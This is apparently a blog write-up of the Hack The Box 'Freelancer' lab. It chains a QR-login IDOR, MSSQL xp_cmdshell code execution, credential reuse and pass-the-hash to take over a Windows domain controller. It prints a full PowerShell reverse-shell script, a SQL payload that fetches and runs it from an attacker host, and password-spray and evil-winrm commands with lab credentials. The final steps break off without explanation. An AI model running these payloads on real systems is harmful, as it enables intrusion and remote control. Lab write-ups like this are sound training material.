writeup 2024-06-05 · 8 min read

Hack The Box Freelancer Writeup (Hard Windows)

Hard Windows box. An IDOR in the QR login takes over admin, the SQL terminal runs xp_cmdshell as sa, and a setup INI leaks a password reused elsewhere.

Hack The Box Freelancer Writeup (Hard Windows)

Summary

Freelancer is a hard Windows machine running a job board on top of MSSQL. Kerbrute userenum confirms taylor as a valid domain account, and on the site an employer account can be activated without waiting for approval by running it through the account recovery form. The QR code login is vulnerable to an IDOR: the backend never checks which user a one time token was issued for, so a PoC swaps the user id and returns a session cookie for any account, including the administrator, which opens /admin. That panel exposes an SQL terminal, where EXECUTE AS LOGIN = ‘sa’ re-enables xp_cmdshell and a PowerShell reverse shell chosen to slip past AV lands as sql_svc. In that account’s Downloads directory, sql-Configuration.INI from the SQL Server setup holds a cleartext password, and spraying it across the local users with crackmapexec hits mikasaAckerman, who cannot use WinRM but can be run as with RunasCs. The note closes with the Evil-WinRM commands for lorra199 and for Administrator using a recovered NTLM hash.

Initial Target - 10.129.146.153

Service Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# Nmap 7.94SVN scan initiated Sun Jun  2 10:03:22 2024 as: nmap -A -vv -oN scans/nmap.initial freelancer.htb
Nmap scan report for freelancer.htb (10.129.146.153)
Host is up, received syn-ack (0.17s latency).
Scanned at 2024-06-02 10:03:22 EDT for 95s
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       REASON  VERSION
53/tcp   open  domain        syn-ack Simple DNS Plus
80/tcp   open  http          syn-ack nginx 1.25.5
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-favicon: Unknown favicon MD5: 582290CAF5F37817946D9C6A04D4AF95
|_http-server-header: nginx/1.25.5
|_http-title: Freelancer - Job Board & Hiring platform
88/tcp   open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2024-06-02 19:04:34Z)
135/tcp  open  msrpc         syn-ack Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds? syn-ack
464/tcp  open  kpasswd5?     syn-ack
593/tcp  open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped    syn-ack
3268/tcp open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped    syn-ack
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-06-02T19:04:46
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 49485/tcp): CLEAN (Timeout)
|   Check 2 (port 16972/tcp): CLEAN (Timeout)
|   Check 3 (port 14179/udp): CLEAN (Timeout)
|   Check 4 (port 61742/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 5h00m49s

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun  2 10:04:57 2024 -- 1 IP address (1 host up) scanned in 95.28 seconds

BS01: Username Enumeration

It’s possible to enumerate usernames via kerberos with kerbrute userenum. Valid username found:

taylor

BS02: Employer Account Activation

Explanation: It is possible to create an employer account and activate it without having to wait for approval. We just have to create the account using the usual register form and then fill the account recovery form.

Severity: Medium

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

  1. Create an employer account at http://freelancer.htb/employer/register/.

  2. Head to http://freelancer.htb/accounts/recovery/ and begin the recovery process of your newly created employer account.

  3. After recovering your account, you will be able to log in at http://freelancer.htb/accounts/login/.

BS03: IDOR - Arbitrary Account Takeover

Explanation: The login via QR code feature is susceptible to IDOR, where a remote attacker could potentially manipulate the user ID associated with a newly generated OTP token and be able to log in to any, including admin, account in the system. The vulnerability occurs because the backend fails to verify for which user ID the token was issued for.

Severity: High

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

  1. Run this PoC created by BehindSecurity to exploit this IDOR vulnerability and get the session cookie for any user in the system.

  2. After getting the cookies for the admin user, you’ll obtain access to the administrative panel at http://freelancer.htb/admin/.

BS04: Initial Access - Remote Code Execution (RCE) through MSSQL Terminal

Explanation: After obtaining access to the admin portal at http://freelancer.htb/admin/ by following the instructions in BS03, it’s possible to achieve remote code execution via “xp_cmdshell” on MSSQL after elevating privileges to “sa” account.

Severity: High

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

  1. Obtain administrative access to the admin account by following instructions in BS01.

  2. Head to http://freelancer.htb/admin and open the SQL terminal.

  3. Create the following powershell reverse shell script on your attacking machine as evil.ps1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
do {
    # Delay before establishing network connection, and between retries
    Start-Sleep -Seconds 1

    # Connect to C2
    try{
        $TCPClient = New-Object Net.Sockets.TCPClient('YOUR-TUN0-IP-ADDRESS', 53)
    } catch {}
} until ($TCPClient.Connected)

$NetworkStream = $TCPClient.GetStream()
$StreamWriter = New-Object IO.StreamWriter($NetworkStream)

# Writes a string to C2
function WriteToStream ($String) {
    # Create buffer to be used for next network stream read. Size is determined by the TCP client recieve buffer (65536 by default)
    [byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0}

    # Write to C2
    $StreamWriter.Write($String + 'SHELL> ')
    $StreamWriter.Flush()
}

# Initial output to C2. The function also creates the inital empty byte array buffer used below.
WriteToStream ''

# Loop that breaks if NetworkStream.Read throws an exception - will happen if connection is closed.
while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {
    # Encode command, remove last byte/newline
    $Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1)
  
    # Execute command and save output (including errors thrown)
    $Output = try {
            Invoke-Expression $Command 2>&1 | Out-String
        } catch {
            $_ | Out-String
        }

    # Write output to C2
    WriteToStream ($Output)
}
# Closes the StreamWriter and the underlying TCPClient
$StreamWriter.Close()
  1. Fire up a simple http server with python in the same folder the above script is located: python3 -m http.server 8000

  2. Listen on port 53 (the port you specified in the evil.ps1 payload): sudo rlwrap nc -lvnp 53

  3. In the SQL terminal, execute the following payload:

1
2
3
4
5
6
7
8
EXECUTE AS LOGIN = 'sa';
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

EXEC xp_cmdshell 'powershell -nop -c iex(iwr -usebasicparsing http://attacker-ip:8000/evil.ps1)'

More information on this privilege escalation technique at HackTricks.

Additional Comments: My first thought was to try to crack the password hashes for the users in the database, but wasn’t successful. Took some time until got my way to enable xp_cmdshell, MSSQL isn’t something I’m used to, and it was really enjoyable poking with it.

Had to try many different ways to obtain a reverse shell, because of the AV. The technique shown in the steps to reproduce is from here. The powershell reverse shell payload was taken from here.

BS05: Horizontal Privilege Escalation - Exposed Credentials

Explanation: After obtaining a reverse shell as “sql_svc” by following the steps outlined in BS04, it is possible to read a sensitive INI file that contains valid credentials to other system user in the target machine.

Severity: High

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

  1. Read C:\Users\sql_svc\Downloads\SQLEXPR-2019_x64_ENU\sql-Configuration.INI, and you’ll obtain the password “IL0v3ErenY3ager”.

  2. Create a users.txt file in your attacking machine containing all the users in C:\Users.

  3. Use crackmapexec to perform a password spray attack: cme smb freelancer.htb -u users.txt -p 'IL0v3ErenY3ager' --shares and you’ll get a hit on the user “mikasaAckerman”.

  4. It isn’t possible to log in as mikasaAckerman using evil-winrm, but we can use RunasCs:

    1. Download the latest version of RunasCs: wget https://github.com/antonioCoco/RunasCs/releases/download/v1.5/RunasCs.zip && unzip RunasCs.zip

    2. Fire up a smb server on your attacking machine in order to upload the runascs binary: mkdir smb && mv RunasCs.exe smb/ && sudo impacket-smbserver -smb2support -username behindsecurity -password 'BehindSecurity2024!' smb smb/

    3. On the attacking machine, head to sql_svc’s documents folder: cd C:\Users\sql_svc\Documents

    4. Mount the smb share to the victim host: net use B: \\your-tun0-ip-address\smb /user:behindsecurity 'BehindSecurity2024!'

    5. Copy the binary file to the victim machine: copy B:\RunasCs.exe .

  5. Using the same “evil.ps1” payload outlined in BS04, we’ll fire up a python web server to serve it: python3 -m http.server 8000 (evil.ps1 must be in the same folder the web server is being served on)

  6. Use runascs to obtain a reverse shell as mikasaackerman:

mikasaackerman:IL0v3ErenY3ager

evil-winrm -i freelancer.htb -u lorra199 -p ‘PWN3D#l0rr@Armessa199’

evil-winrm -i freelancer.htb -u Administrator -H ‘0039318f1e8274633445bce32ad1a290’

This post is licensed under CC BY 4.0 by the author.